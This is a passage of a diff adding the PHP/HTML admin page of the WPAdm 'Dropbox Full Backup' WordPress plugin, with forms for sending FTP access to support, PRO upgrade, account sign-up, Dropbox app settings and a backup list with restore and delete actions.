778
+ <div style="font-size: 15px; margin-bottom: 30px;"><?php langWPADM::get('To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, <br />that you tried to create or simply send to us your FTP access data.');?></div>
779
+
780
+ <form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left; margin-left:110px;margin-bottom:20px;">
781
+ <div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
782
+ <input type="checkbox" onclick="showFormAjax();" style="margin: 0;" id="show-form-ajax" /> <label for="show-form-ajax"><?php langWPADM::get('I want to provide your FTP access to resolve this issue quickly:');?></label>
783
+ </div>
784
+ <div id="form-ajax-ftp-email" style="display: none;">
785
+ <div class="form-help-send-error" >
786
+ <div style="margin-top: 3px;">
787
+ <div class="label-help" style="">
788
+ <label for="ftp-host"><?php langWPADM::get('FTP Host'); ?></label>
789
+ </div>
790
+ <div style="float:left; ">
791
+ <input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
792
+ </div>
793
+ </div>
794
+ <div class="clear"></div>
795
+ <div style="margin-top: 3px;">
796
+ <div class="label-help" >
797
+ <label for="ftp-user"><?php langWPADM::get('FTP User'); ?></label>
798
+ </div>
799
+ <div style="float:left; ">
800
+ <input type="text" id="ftp-user" value="" name="ftp_user">
801
+ </div>
802
+ </div>
803
+ <div class="clear"></div>
804
+ <div style="margin-top: 3px;">
805
+ <div class="label-help" >
806
+ <label for="ftp-pass"><?php langWPADM::get('FTP Password'); ?></label>
807
+ </div>
808
+ <div style="float:left; ">
809
+ <input type="text" id="ftp-pass" value="" name="ftp_pass">
810
+ </div>
811
+ </div>
812
+ <div class="clear"></div>
813
+
814
+ </div>
815
+ <div class="form-help-mail-response">
816
+ <div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
817
+ <div class="label-help" >
818
+ <label for="email-resp"><?php langWPADM::get('Response Email:'); ?></label>
819
+ </div>
820
+ <div style=" ">
821
+ <input type="text" id="email-resp" value="<?php echo get_option('admin_email');?>" style="padding-left:3px;" name="mail_response">
822
+ </div>
823
+ </div>
824
+ </div>
825
+ </div>
826
+ <div class="clear"></div>
827
+ <div style="text-align: left; margin-left: 100px; margin-top: 10px;">
828
+ <input value="<?php echo $time_log; ?>" type="hidden" name="time_pars">
829
+ <input value="" type="hidden" name="msg_ajax" id="msg_ajax">
830
+ </div>
831
+ <div class="ajax-button" style="margin-bottom: 10px;">
832
+ <input type="submit" class="button-wpadm" value="<?php langWPADM::get('SEND TO SUPPORT and close this window'); ?>" />&nbsp;&nbsp;&nbsp;
833
+ <input type="button" class="button-wpadm" onclick="jQuery('#ajax-message').arcticmodal('close')" value="<?php langWPADM::get('Close this window WITHOUT SENDING TO SUPPORT'); ?>" />
834
+ </div>
835
+ </form>
836
+ </div>
837
+ <div id="helper-keys" style="display: none;width: 400px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
838
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
839
+ <?php langWPADM::get('Where can I find my app key and secret?'); ?>
840
+ </div>
841
+ <div class="button-description" style="padding:20px 10px;padding-top:20px; text-align: left;">
842
+ <?php langWPADM::get('You can get an API app key and secret by creating an app on the'); ?>
843
+ <a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank"><?php langWPADM::get('app creation page'); ?></a>.
844
+ <?php langWPADM::get('Once you have an app created, the app key and secret will be available on the app\'s page on the'); ?>
845
+ <a href="https://www.dropbox.com/developers/apps" target="_blank"><?php langWPADM::get('App Console'); ?></a>
846
+ . <?php langWPADM::get('Note that Drop-ins have app keys but no app secrets.'); ?>
847
+ </div>
848
+ <div class="button-description" style="padding:20px 0;padding-top:10px">
849
+ <input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#helper-keys').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
850
+ </div>
851
+ </div>
852
+ <!-- <a href="#" onclick="stopBackup();">Stop backup</a> -->
853
+ <div class="block-content" style="margin-top:20px;">
854
+ <div class="inline" style="width: 60%">
855
+ <span style="font-size:16px;">
856
+ <?php langWPADM::get('Use Professional version of "Dropbox backup and restore" plugin and get:') ; ?>
857
+ </span>
858
+ <ul class="list-dropbox-backup-pro">
859
+ <li><img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
860
+ <span class="text">
861
+ <?php langWPADM::get('Automated Dropbox backup (Scheduled backup tasks)') ; ?>
862
+ </span>
863
+ </li>
864
+ <li>
865
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
866
+ <span class="text">
867
+ <?php langWPADM::get('Automated Local backup (Scheduled backup tasks)') ; ?>
868
+ </span>
869
+ </li>
870
+ <li>
871
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
872
+ <span class="text">
873
+ <?php langWPADM::get('Backup Status E-Mail Reporting') ; ?>
874
+ </span>
875
+ </li>
876
+ <li>
877
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
878
+ <span class="text">
879
+ <?php langWPADM::get('Online Service "Backup Website Manager" (Copy, Clone or Migrate of websites)') ; ?>
880
+ </span>
881
+ </li>
882
+ <li>
883
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
884
+ <span class="text">
885
+ <?php langWPADM::get('One Year Free Updates for PRO version') ; ?>
886
+ </span>
887
+ </li>
888
+ <li>
889
+ <img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
890
+ <span class="text">
891
+ <?php langWPADM::get('One Year Priority support') ; ?>
892
+ </span>
893
+ </li>
894
+ </ul>
895
+ </div>
896
+ <div class="inline-right" style="margin-top: 0;">
897
+ <div class="image-dropbox-pro" onclick="document.dropbox_pro_form.submit();">
898
+ <img src="<?php echo plugins_url('/template/dropbox_pro_logo_box1.png', dirname(__FILE__));?>" title="<?php langWPADM::get('Get PRO version');?>" alt="<?php langWPADM::get('Get PRO version'); ?>">
899
+ </div>
900
+ <div style="margin-top:26%; float: left; margin-left: 20px; margin-right: 15px;">
901
+ <form action="<?php echo WPADM_URL_PRO_VERSION; ?>api/" method="post" id="dropbox_pro_form" name="dropbox_pro_form" >
902
+ <input type="hidden" value="<?php echo home_url();?>" name="site">
903
+ <input type="hidden" value="<?php echo 'proBackupPay'?>" name="actApi">
904
+ <input type="hidden" value="<?php echo get_option('admin_email');?>" name="email">
905
+ <input type="hidden" value="<?php echo 'dropbox-backup';?>" name="plugin">
906
+ <input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=success"); ?>" name="success_url">
907
+ <input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=cancel"); ?>" name="cancel_url">
908
+ <input type="submit" class="backup_button" value="<?php langWPADM::get('Get PRO');?>">
909
+ </form>
910
+ </div>
911
+ </div>
912
+
913
+ <div class="clear"></div>
914
+ </div>
915
+ <div class="block-content" style="margin-top:2px;">
916
+ <div style="min-height : 215px; padding: 5px; padding-top: 10px;">
917
+ <div class="log-dropbox" style="background-image: url(<?php echo plugins_url('/img/dropbox.png', dirname(__FILE__));?>);">
918
+ </div>
919
+ <div style="float: bottom; font-size: 40px; font-weight: bold; text-shadow: 1px 2px 2px #666; margin-left: 189px; line-height: 42px; margin-top: -12px;">
920
+ <?php langWPADM::get('Dropbox Full Backup');?>
921
+ <span style="font-size: 20px;"><?php langWPADM::get('(files+database)');?></span>
922
+
923
+ <span style="font-size: 11px;">
924
+ <?php echo (isset($plugin_data[0]['Version']) ? 'Version ' . $plugin_data[0]['Version'] : '')?>
925
+ </span>
926
+
927
+ </div>
928
+ <?php if ($show) {?>
929
+ <div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
930
+ <div class="stat-wpadm-info-title" id="title-regisr" style="padding :20px 0px; margin-top:11px; line-height: 25px;">
931
+ <?php langWPADM::get('Free Sign Up'); ?> <br /><?php langWPADM::get('to backup more than one website...'); ?>
932
+ </div>
933
+ <div id="cf_activate" class="cfContentContainer" style="display: none;">
934
+ <form method="post" id="dropbox_form" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
935
+ <div class="stat-wpadm-registr-info" style="margin-bottom: 40px; margin-top: 17px;">
936
+ <table class="form-table stat-table-registr" style="">
937
+ <tbody>
938
+ <tr valign="top">
939
+ <th scope="row">
940
+ <label for="email"><?php langWPADM::get('E-mail'); ?></label>
941
+ </th>
942
+ <td>
943
+ <input id="email" class="" type="text" name="email" value="">
944
+ </td>
945
+ </tr>
946
+ <tr valign="top">
947
+ <th scope="row">
948
+ <label for="password"><?php langWPADM::get('Password'); ?></label>
949
+ </th>
950
+ <td>
951
+ <input id="password" class="" type="password" name="password" value="">
952
+ </td>
953
+ </tr>
954
+ <tr valign="top">
955
+ <th scope="row">
956
+ <label for="password-confirm"><?php langWPADM::get('Password confirm'); ?></label>
957
+ </th>
958
+ <td>
959
+ <input id="password-confirm" class="" type="password" name="password-confirm" value="">
960
+ </td>
961
+ </tr>
962
+ <tr valign="top">
963
+ <th scope="row">
964
+ </th>
965
+ <td>
966
+ <input class="button-wpadm" type="submit" value="<?php langWPADM::get('Register & Activate'); ?>" name="send">
967
+ </td>
968
+ </tr>
969
+ </tbody>
970
+ </table>
971
+ </div>
972
+ <div class="stat-wpadm-info" id="registr-info" style="margin-bottom: 2px; margin-top: 30px;">
973
+ <span style="font-weight:bold; font-size: 14px;"><?php langWPADM::get('If you are NOT registered at'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php langWPADM::get('WPAdm'); ?></a>,</span> <?php langWPADM::get('enter your email and password to use as your Account Data for authorization on WPAdm.'); ?> <br /><span style="font-weight: bold;font-size: 14px;"><?php langWPADM::get('If you already have an account at'); ?> <a target="_blank" style="color: #fff" href="<?php echo SERVER_URL_INDEX; ?>"><?php langWPADM::get('WPAdm'); ?></a></span> <?php langWPADM::get('and you want to Sign-In, so please, enter your registered credential data (email and password twice).'); ?>
974
+ </div>
975
+ </form>
976
+ </div>
977
+ <div class="clear"></div>
978
+ <div class="block-button-show" style="color: #fff;">
979
+ <div class="block-click" onclick="showRegistInfo(true);">
980
+ <span id="registr-show" style="color: #fff;"><?php langWPADM::get('Show'); ?></span>
981
+ <div id="registr-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
982
+ </div>
983
+ </div>
984
+ </div>
985
+ <?php } else { ?>
986
+ <div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
987
+ <div class="stat-wpadm-info-title" id="title-regisr" style="padding :10px 0px; margin-top:11px; line-height: 25px; text-align: left; margin-left: 10px;">
988
+ <?php langWPADM::get('Sign In to backup more than one website...'); ?>
989
+ </div>
990
+ <div>
991
+ <form method="post" id="auth" name="auth" action="<?php echo SERVER_URL_INDEX . "login-process" ; ?>">
992
+ <div>
993
+ <div id="message-form" style="color: red; float: left;margin: 10px;margin-top: 14px;"></div>
994
+ </div>
995
+ <div style="padding: 5px; clear: both;">
996
+ <div class="form-field">
997
+ <input class="input-small" type="text" id="username" value="<?php echo get_option(PREFIX_BACKUP_ . "email");?>" readonly="readonly" required="required" name="username" placeholder="<?php langWPADM::get('Email'); ?>" />
998
+ </div>
999
+ <div class="form-field">
1000
+ <input class="input-small" type="password" required="required" name="password" placeholder="<?php langWPADM::get('Password'); ?>" />
1001
+ </div>
1002
+ <div class="form-field">
1003
+ <input class="button-wpadm" type="button" value="Sign In" onclick="auth_form(this);" />
1004
+ <input type="hidden" value="<?php echo 'dropbox-backup'?>" name="plugin" />
1005
+ </div>
1006
+ </div>
1007
+ <div style="clear:both; padding: 5px; font-size: 11px; color: #fff;">
1008
+ <div class="form-field" style="margin-bottom: 10px;">
1009
+ <input type="checkbox" onclick="setReadOnly('username')" style="margin: 0px;"> <?php langWPADM::get('set new mail'); ?>
1010
+ </div>
1011
+ </div>
1012
+ <div style="clear:both;"></div>
1013
+ </form>
1014
+ </div>
1015
+ </div>
1016
+ <?php } ?>
1017
+ <div class="cfTabsContainer" style="width: 28%; float: left; margin-left: 10px; padding-bottom: 0px; padding-top: 0px;">
1018
+ <div class="stat-wpadm-info-title" id="title-setting" style="padding :20px 0px; margin-top:11px; line-height: 50px;">
1019
+ <?php langWPADM::get('Settings'); ?>
1020
+ </div>
1021
+ <div id="setting_active" class="cfContentContainer" style="display: none;">
1022
+ <form method="post" action="" >
1023
+ <div class="stat-wpadm-registr-info" style="width: 100%; margin-bottom: 9px;">
1024
+ <div style="margin-bottom: 12px; margin-top: 20px; font-size: 15px; text-align: center;">
1025
+ <input class="btn-orange" type="button" style="padding: 5px 10px; font-size: 15px; font-weight: 500" onclick="connectDropbox(this,'<?php echo admin_url( 'admin-post.php?action=dropboxConnect' )?>')" value="<?php langWPADM::get('Connect to Dropbox'); ?>" name="submit">
1026
+ <div class="desc-wpadm"><span id="dropbox_uid_text"><?php echo isset($dropbox_options['oauth_token']) && isset($dropbox_options['uid']) ? langWPADM::get('Dropbox successfully connected:', false) . " UID " . $dropbox_options['uid'] : ''; ?></span></div>
1027
+ </div>
1028
+ <?php $show_fields = isset($dropbox_options['app_key']) && !empty($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && !empty($dropbox_options['app_secret']) && $dropbox_options['app_key'] != WPADM_APP_KEY && $dropbox_options['app_secret'] != WPADM_APP_SECRET ; ?>
1029
+ <div class="setting-checkbox">
1030
+ <input type="checkbox" onclick="showApp();" <?php echo $show_fields ? 'checked="checked"' : ''?> id="dbconnection-to-app" /><label for="dbconnection-to-app"><?php langWPADM::get('Connect using my Dropbox App');?></label>
1031
+ </div>
1032
+
1033
+ <table class="form-table stat-table-registr" style="margin-top:2px; <?php echo $show_fields ? 'margin-bottom:25px;' : ''?>">
1034
+ <tbody>
1035
+ <tr valign="top" id="dropbox-app-key" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
1036
+ <th scope="row">
1037
+ <label for="app_key"><?php langWPADM::get('App key'); ?>*</label>
1038
+ </th>
1039
+ <td>
1040
+ <input id="app_key" class="" type="text" name="app_key" value="<?php echo isset($dropbox_options['app_key']) && $dropbox_options['app_key'] != WPADM_APP_KEY ? $dropbox_options['app_key'] : ''?>">
1041
+ </td>
1042
+ </tr>
1043
+ <tr valign="top" id="dropbox-app-secret" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
1044
+ <th scope="row">
1045
+ <label for="app_secret"><?php langWPADM::get('App secret'); ?>*</label>
1046
+ </th>
1047
+ <td>
1048
+ <input id="app_secret" class="" type="text" name="app_secret" value="<?php echo isset($dropbox_options['app_secret']) && $dropbox_options['app_secret'] != WPADM_APP_SECRET ? $dropbox_options['app_secret'] : ''?>">
1049
+ </td>
1050
+ </tr>
1051
+
1052
+ <tr valign="top" id="help-key-pass" style="display: <?php echo $show_fields ? 'table-row' : 'none'?>;">
1053
+ <td colspan="2" align="center">
1054
+ <a class="help-key-secret" href="javascript:getHelperDropbox();" ><?php langWPADM::get('Where to get App key & App secret?'); ?></a><br />
1055
+ </td>
1056
+ </tr>
1057
+ </tbody>
1058
+ </table>
1059
+
1060
+ <?php if ( is_super_admin() ) { ?>
1061
+ <div class="setting-checkbox">
1062
+ <input type="checkbox" <?php echo isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ? 'checked="checked"' : ''; ?> name="is_admin" value="1" id="is_admin" onclick="saveSetting('is_admin')" />
1063
+ <label for="is_admin" style="font-size: 13px;"><?php langWPADM::get('Appear in menu for admins only'); ?></label>
1064
+ </div>
1065
+ <?php } ?>
1066
+ <div class="setting-checkbox">
1067
+ <input type="checkbox" <?php echo (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 'checked="checked"' : ''; ?> name="is_optimization" value="1" id="is_optimization" onclick="saveSetting('is_optimization')" />
1068
+ <label for="is_optimization" style="font-size: 13px;"><?php langWPADM::get('Database Optimization'); ?></label>
1069
+ </div>
1070
+ </div>
1071
+ </form>
1072
+ </div>
1073
+ <div class="clear"></div>
1074
+ <div class="block-button-show" style="color: #fff;">
1075
+ <div class="block-click" onclick="showSetting(true);">
1076
+ <span id="setting-show" style="color: #fff;"><?php langWPADM::get('Show'); ?></span>
1077
+ <div id="setting-choice-icon" class="dashicons dashicons-arrow-down" style=""></div>
1078
+ </div>
1079
+ </div>
1080
+ </div>
1081
+ </div>
1082
+ </div>
1083
+ <div style="clear: both;"></div>
1084
+ <div class="block-content">
1085
+ <div class="" style="margin-top:10px;">
1086
+ <div id="logs-form" style="display: none; float:left; width: 70%;">
1087
+ <div class="title-logs"><span style="font-size:16px;"><?php langWPADM::get('Please wait...'); ?> <span id="time_backup">0 <?php langWPADM::get('sec.'); ?></span><img style="float: right;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__))?>" alt=""></span></div>
1088
+ <div class="title-status" style="font-size:16px; display: none;"></div>
1089
+ <div style="border: 1px solid #ddd; text-align: left; background: #fff; padding: 2px;">
1090
+ <div id="log-backup" style="overflow: auto; height: 60px; border: 5px solid #fff; "></div>
1091
+ </div>
1092
+ </div>
1093
+ <?php if ($stars5) {?>
1094
+ <div id="reviews-dropbox" class="pointer" onclick="window.open('https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5');">
1095
+ <div class="title-reviews"><?php langWPADM::get('++ Review ++'); ?></div>
1096
+ <div class="desc-reviews"><?php langWPADM::get('Your review is important for us'); ?></div>
1097
+ <img src="<?php echo plugins_url('/img/stars-5.png', dirname(__FILE__));?>" alt=""></a>
1098
+ </div>
1099
+ <?php }?>
1100
+ <div id="support-button" style="float: right; margin-top: 130px; margin-right: 20px;">
1101
+ <button onclick="window.open('<?php echo SERVER_URL_INDEX . 'support/?pl=dbp'?>')" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Help'); ?></button> <br />
1102
+ </div>
1103
+ <div id="action-buttons" style="">
1104
+ <div style="float: left;">
1105
+ <button onclick="start_dropbox_backup();" class="backup_button" style=""><?php langWPADM::get('Create Dropbox Backup'); ?></button>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1106
+ </div>
1107
+ <div style="float: left; margin-top: 2px;">
1108
+ <button onclick="start_local_backup()" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Create Local Backup'); ?></button> <br />
1109
+ </div>
1110
+ <!-- <div style="float: left; margin-top: 2px;margin-left: 20px;">
1111
+ <button onclick="InludesSetting();" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php langWPADM::get('Folders & files'); ?></button> <br />
1112
+ </div> -->
1113
+ <div style="clear: both;"></div>
1114
+ </div>
1115
+ </div>
1116
+ <div style="clear: both; margin-bottom: 10px;"></div>
1117
+ <div>
1118
+ <form action="<?php echo WPADM_URL_BASE;?>wpsite/recovery-backup" method="post" target="_blank" id="form_auth_backup" name="form_auth_backup">
1119
+ </form>
1120
+ <form action="<?php echo WPADM_URL_BASE;?>backup/tasks" method="post" target="_blank" id="form_auth_backup_create" name="form_auth_backup_create">
1121
+ <input type="hidden" name="url_task_create" value="<?php echo get_option('siteurl');?>">
1122
+ </form>
1123
+ <form action="" method="post" id="form_auth_backup" name="form_auth_backup">
1124
+ </form>
1125
+ <form action="<?php echo admin_url( 'admin-post.php?action=wpadm_delete_backup' )?>" method="post" id="delete_backups" name="delete_backups">
1126
+ <input type="hidden" name="backup-name" id="backup_name" value="" />
1127
+ <input type="hidden" name="backup-type" id="backup_type" value="" />
1128
+ </form>
1129
+ <!-- <div id="inludes-setting" class="" style="display: none; position: relative; text-align: center; background: #f1ebeb; border: 2px solid #dde4ff; border-radius: 5px;">
1130
+ <div>
1131
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
1132
+ <?php langWPADM::get('Include/Exclude of Files & Folders to backup'); ?>
1133
+ <div style="font-size: 14px;">
1134
+ <?php langWPADM::get('Database of web page will be included automatically'); ?>
1135
+ </div>
1136
+ </div>
1137
+ <div class="loading-img">
1138
+ <img style="display: none; margin: 0 auto;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__) ); ?>">
1139
+ </div>
1140
+ <div class="button-description">
1141
+ <!-- <input type="radio" value="folder" id="inc-folder" checked="checked"><label for="inc-folder">View folders</label> &nbsp;&nbsp;&nbsp; <input type="radio" value="files" id="inc-files" ><label for="inc-files">View Folders & Files</label>
1142
+ <div class="show-includes">
1143
+
1144
+ </div>
1145
+ </div>
1146
+ <div class="clear"></div>
1147
+ <div class="button-description" style="padding:20px 0; width: 100%;">
1148
+ <input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="saveIncludes();" style="text-align: center; width: 100px;" class="button-wpadm">
1149
+ <input type="button" value="<?php langWPADM::get('Cancel'); ?>" onclick="InludesSetting();" style="text-align: center; width: 100px;" class="button-wpadm">
1150
+ </div>
1151
+ </div>
1152
+
1153
+ </div> -->
1154
+
1155
+ <table class="table" style="margin-top: 5px; display: <?php echo isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0]) ? 'table' : 'none'?>;">
1156
+ <thead>
1157
+ <tr>
1158
+ <th>#</th>
1159
+ <th align="left"><?php langWPADM::get('Create, Date/Time'); ?></th>
1160
+ <th><?php langWPADM::get('Name of Backup'); ?></th>
1161
+ <th><?php langWPADM::get('Archive Parts'); ?></th>
1162
+ <th><?php langWPADM::get('Status'); ?></th>
1163
+ <th><?php langWPADM::get('Type of Backup'); ?></th>
1164
+ <th><?php langWPADM::get('Size'); ?></th>
1165
+ <?php if(is_admin() || is_super_admin()) {?>
1166
+ <th><?php langWPADM::get('Action'); ?></th>
1167
+ <?php
1168
+ }
1169
+ ?>
1170
+ </tr>
1171
+ </thead>
1172
+ <tbody>
1173
+ <?php if (isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0])) {
1174
+ for($i = 0; $i < $n; $i++) {
1175
+ $size = $data['data'][$i]['size'] / 1024 / 1024; /// MByte
1176
+ $size = round($size, 2);
1177
+ $files = explode(",", str_replace(array('"', "[", "]"), "", $data['data'][$i]['files'] ) );
1178
+ $f = count($files);
1179
+ ?>
1180
+ <tr>
1181
+ <td class="number-backup"><?php echo ($i + 1);?></td>
1182
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="text-align: left; padding-left: 7px;"><?php echo $data['data'][$i]['dt'];?></td>
1183
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer">
1184
+ <?php echo ($data['data'][$i]['size'] != 0) ? $data['data'][$i]['name'] : "<strong style=\"color:red;\">". langWPADM::get('Not available', false) . "</strong>&nbsp;&nbsp;(<a style=\"text-decoration:underline;\">".langWPADM::get('Why?', false)."</a>)";?>
1185
+ <script type="text/javascript">
1186
+ backup_name = '<?php echo $data['data'][$i]['name']?>';
1187
+ </script>
1188
+ </td>
1189
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo isset($data['data'][$i]['count']) ? $data['data'][$i]['count'] : $f ;?></td>
1190
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="padding: 0px;">
1191
+ <?php if ($data['data'][$i]['size'] != 0) { ?>
1192
+ <img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;" />
1193
+ <div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Successful', false);?></div>
1194
+ <?php } else {
1195
+ ?>
1196
+ <img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />
1197
+ <div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Fail', false);?>&nbsp;&nbsp;(<a style="text-decoration:underline;"><?php echo langWPADM::get('Show Details', false);?></a>)</div>
1198
+ <?php
1199
+ }?>
1200
+ </td>
1201
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $data['data'][$i]['type'];?> <?php langWPADM::get('backup'); ?></td>
1202
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $size . langWPADM::get('Mb', false);?></td>
1203
+ <td>
1204
+ <?php if(is_admin() || is_super_admin()) {?>
1205
+ <?php if ($data['data'][$i]['size'] > 0) { ?>
1206
+ <a class="button-wpadm" href="javascript:void(0)" title="<?php langWPADM::get('Restore'); ?>" onclick="show_recovery_form('<?php echo isset($data['data'][$i]['name']) && $data['data'][$i]['type'] != 'local' ? $data['data'][$i]['name'] : 'local' ?>', '<?php echo $data['data'][$i]['name']?>')" style="color: #fff;"><span class="pointer dashicons dashicons-backup" style="margin-top:3px;"></span><?php langWPADM::get('Restore'); ?></a>&nbsp;
1207
+ <?php } ?>
1208
+ <a class="button-wpadm" href="javascript:void(0)" title="<?php langWPADM::get('Delete'); ?>" onclick="delete_backup('<?php echo $data['data'][$i]['name']; ?>', '<?php echo $data['data'][$i]['type'];?>')" style="color: #fff;"><span class="pointer dashicons dashicons-trash" style="margin-top:3px;"></span><?php langWPADM::get('Delete'); ?></a>&nbsp;
1209
+ <?php
1210
+ }
1211
+ ?>
1212
+ </td>
1213
+ </tr>
1214
+ <tr id="<?php echo md5( print_r($data['data'][$i], 1) );?>" style="display:none; ">
1215
+ <?php if ($data['data'][$i]['size'] != 0) {?>
1216
+ <td colspan="2">
1217
+ </td>
1218
+ <td align="center" style="padding: 0px; width: 350px;">
1219
+ <div style="overflow: auto; max-height: 150px;">
1220
+ <?php
1221
+ if ($f > 0) { ?>
1222
+ <table border="0" align="center" class="info-path"> <?php
1223
+ for($j = 0; $j < $f; $j++) {
1224
+ if (!empty($files[$j])) {
1225
+ ?>
1226
+ <tr style="border: 0;">
1227
+ <td style="border: 0;">
1228
+ <?php if ($data['data'][$i]['type'] == 'local') {?>
1229
+ <a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . "/{$data['data'][$i]['name']}/{$files[$j]}"?>">
1230
+ <?php echo $files[$j]; ?>
1231
+ </a>
1232
+ <?php
1233
+ } else {
1234
+ echo $files[$j];
1235
+ }
1236
+ ?>
1237
+ </td>
1238
+ </tr>
1239
+ <?php
1240
+ }
1241
+ }
1242
+ ?>
1243
+ </table>
1244
+ <?php
1245
+ }
1246
+ ?>
1247
+ </div>
1248
+ </td>
1249
+ <td colspan="6"></td>
1250
+ <?php
1251
+ } else { ?>
1252
+ <td colspan="2">
1253
+ </td>
1254
+ <td colspan="4" style="background: #ddecf9;">
1255
+ <div style="padding-left: 10px; padding-right: 10px;">
1256
+ <div style="font-size: 12px; text-align: left;">
1257
+ <?php
1258
+ $time_log = str_replace(array(':', '-', " "), "_", $data['data'][$i]['dt']);
1259
+ if ( file_exists( $base_path . "/tmp/logs_error_" . $time_log ) ) {
1260
+ $log_ = file_get_contents( $base_path . "/tmp/logs_error_" . $time_log );
1261
+ $pos = stripos($log_, "error");
1262
+ if ($pos !== false) {
1263
+ for($p = $pos; ; $p--) {
1264
+ if ($log_{$p} == "\n") {
1265
+ $pos_new = $p + 1;
1266
+ break;
1267
+ }
1268
+ }
1269
+ $error =substr($log_, $pos_new);
1270
+ echo str_replace("\n", "<br />", $error);
1271
+ }
1272
+ } else {
1273
+ langWPADM::get('Error log wasn\'t Found');
1274
+ }?>
1275
+ </div>
1276
+
1277
+ <form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left;">
1278
+ <div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
1279
+ <?php langWPADM::get('Please, provide your FTP access to resolve this issue quickly:');?>
1280
+ </div>
1281
+ <div class="form-help-send-error" >
1282
+ <div style="margin-top: 3px;">
1283
+ <div class="label-help" style="">
1284
+ <label for="ftp-host"><?php langWPADM::get('FTP Host'); ?></label>
1285
+ </div>
1286
+ <div style="float:left; ">
1287
+ <input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
1288
+ </div>
1289
+ </div>
1290
+ <div class="clear"></div>
1291
+ <div style="margin-top: 3px;">
1292
+ <div class="label-help" >
1293
+ <label for="ftp-user"><?php langWPADM::get('FTP User'); ?></label>
1294
+ </div>
1295
+ <div style="float:left; ">
1296
+ <input type="text" id="ftp-user" value="" name="ftp_user">
1297
+ </div>
1298
+ </div>
1299
+ <div class="clear"></div>
1300
+ <div style="margin-top: 3px;">
1301
+ <div class="label-help" >
1302
+ <label for="ftp-pass"><?php langWPADM::get('FTP Password'); ?></label>
1303
+ </div>
1304
+ <div style="float:left; ">
1305
+ <input type="text" id="ftp-pass" value="" name="ftp_pass">
1306
+ </div>
1307
+ </div>
1308
+ <div class="clear"></div>
1309
+
1310
+ </div>
1311
+ <div class="form-help-mail-response">
1312
+ <div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
1313
+ <div class="label-help" >
1314
+ <label for="email-resp"><?php langWPADM::get('Response Email:'); ?></label>
1315
+ </div>
1316
+ <div style=" ">
1317
